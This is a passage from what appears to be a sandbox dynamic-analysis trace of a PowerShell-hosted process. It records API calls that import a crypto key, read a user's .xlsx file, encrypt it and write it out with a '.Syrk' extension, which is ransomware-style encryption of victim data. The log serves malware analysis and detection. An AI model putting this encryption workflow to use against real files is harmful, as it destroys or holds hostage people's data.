(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0230.413] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0230.414] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0230.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0230.414] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0230.414] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0230.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0230.414] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0230.415] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0230.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0230.415] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0230.415] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0230.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0230.415] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0230.415] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0230.416] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0230.416] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0230.416] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0230.416] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0230.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0230.416] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0230.417] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0230.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0230.417] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.418] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0230.418] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0230.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0230.418] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.418] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0230.418] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0230.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0230.418] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.418] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0230.419] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0230.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0230.419] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.419] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0230.419] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.419] EtwEventActivityIdControl () returned 0x0 [0230.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0230.419] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.419] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0230.419] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0230.421] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cd48) returned 1 [0230.423] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x2427620*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99820) returned 1 [0230.423] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.424] EtwEventActivityIdControl () returned 0x0 [0230.424] EtwEventActivityIdControl () returned 0x0 [0230.424] EtwEventActivityIdControl () returned 0x0 [0230.430] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0230.432] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0230.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.432] EtwEventActivityIdControl () returned 0x0 [0230.433] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.433] EtwEventActivityIdControl () returned 0x0 [0230.433] EtwEventActivityIdControl () returned 0x0 [0230.433] EtwEventActivityIdControl () returned 0x0 [0230.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.434] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.434] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0230.435] GetFileType (hFile=0x454) returned 0x1 [0230.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.435] GetFileType (hFile=0x454) returned 0x1 [0230.435] EtwEventActivityIdControl () returned 0x0 [0230.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.436] EtwEventActivityIdControl () returned 0x0 [0230.436] EtwEventActivityIdControl () returned 0x0 [0230.436] EtwEventActivityIdControl () returned 0x0 [0230.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0230.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", lpFilePart=0x0) returned 0x33 [0230.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0230.437] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0230.438] GetFileType (hFile=0x458) returned 0x1 [0230.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0230.438] GetFileType (hFile=0x458) returned 0x1 [0230.438] EtwEventActivityIdControl () returned 0x0 [0230.439] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x2437a70 | out: pbBuffer=0x2437a70) returned 1 [0230.440] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.440] CryptDuplicateKey (in: hKey=0x5c99820, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99660) returned 1 [0230.440] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.440] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x4, pbData=0x2438da8*=0x1, dwFlags=0x0) returned 1 [0230.440] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x1, pbData=0x2438d74, dwFlags=0x0) returned 1 [0230.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.441] EtwEventActivityIdControl () returned 0x0 [0230.441] EtwEventActivityIdControl () returned 0x0 [0230.441] EtwEventActivityIdControl () returned 0x0 [0230.442] EtwEventActivityIdControl () returned 0x0 [0230.503] ReadFile (in: hFile=0x454, lpBuffer=0x243b9e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243b9e4*, lpNumberOfBytesRead=0x5a2e7d8*=0xb232, lpOverlapped=0x0) returned 1 [0230.506] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x244f9fc*, pdwDataLen=0x5a2e7cc*=0xb230, dwBufLen=0xb230 | out: pbData=0x244f9fc*, pdwDataLen=0x5a2e7cc*=0xb230) returned 1 [0230.506] WriteFile (in: hFile=0x458, lpBuffer=0x2437b4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2437b4c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0230.508] WriteFile (in: hFile=0x458, lpBuffer=0x24509e8*, nNumberOfBytesToWrite=0xa244, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24509e8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xa244, lpOverlapped=0x0) returned 1 [0230.509] ReadFile (in: hFile=0x454, lpBuffer=0x243b9e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x243b9e4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0230.509] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x245ac38*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x245ac38*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0230.509] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x245ac54*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x245ac54*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0230.509] WriteFile (in: hFile=0x458, lpBuffer=0x2437b4c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2437b4c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0230.509] CloseHandle (hObject=0x458) returned 1 [0230.511] CloseHandle (hObject=0x454) returned 1 [0230.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.512] EtwEventActivityIdControl () returned 0x0 [0230.512] EtwEventActivityIdControl () returned 0x0 [0230.512] EtwEventActivityIdControl () returned 0x0 [0230.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0230.521] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.521] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.522] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.522] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0230.522] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0230.522] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0230.522] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.522] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0230.522] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0230.522] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0230.523] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.523] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0230.523] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.523] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0230.523] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0230.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.527] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0230.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0230.527] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0230.527] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0230.527] CoTaskMemFree (pv=0x5c9a950) [0230.529] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 0x20 [0230.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0230.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx", lpFilePart=0x0) returned 0x2e [0230.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0230.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x24660d0 | out: lpFileInformation=0x24660d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1230b3b0, ftCreationTime.dwHighDateTime=0x1d94ae8, ftLastAccessTime.dwLowDateTime=0xca8aa7f0, ftLastAccessTime.dwHighDateTime=0x1d99aab, 